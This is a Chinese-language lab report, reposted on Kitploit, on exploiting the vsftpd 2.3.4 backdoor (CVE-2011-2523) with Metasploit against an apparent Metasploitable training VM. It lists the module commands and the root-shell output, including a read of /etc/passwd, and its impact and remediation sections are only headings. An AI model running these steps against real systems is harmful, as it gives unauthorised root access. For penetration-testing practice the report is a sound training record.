vsftpd-234-vuln-report — 使用 Metasploit 对 vsftpd 2.3.4（CVE-2011-2523）进行漏洞评估与利用。包含完整报告和 root 权限获取证明。 | Kitploit

使用 Metasploit 利用 vsftpd 2.3.4 中的已知漏洞进行攻击。

📌 目标详情

目标 IP： 192.168.150.133
服务： FTP
受影响版本： vsftpd 2.3.4
漏洞利用模块： exploit/unix/ftp/vsftpd_234_backdoor
载荷： 命令 Shell（TCP）

🔍 漏洞概述

vsftpd 2.3.4 包含一个恶意后门，当收到以 :) 结尾的特制用户名时，会在 6200 端口打开一个命令 Shell。

CVE：CVE-2011-2523

🚀 漏洞利用步骤

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.150.133
run

whoami
> root

id
> uid=0(root) gid=0(root)

hostname
> metasploitable

uname -a
> Linux metasploitable 2.6.24-16-server #1 SMP ...

cat /etc/passwd
> root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  ...

vsftpd-234-vuln-report

最受欢迎

💥 已获得 Shell 访问权限：

🔐 影响

✅ 修复建议

📄 报告

📚 参考资料

👨‍💻 作者

vsftpd-234-vuln-report

最受欢迎

💥 vsftpd 2.3.4 后门漏洞利用报告

📌 目标详情

🔍 漏洞概述

🚀 漏洞利用步骤

💥 已获得 Shell 访问权限：

🔐 影响

✅ 修复建议

📄 报告

📚 参考资料

👨‍💻 作者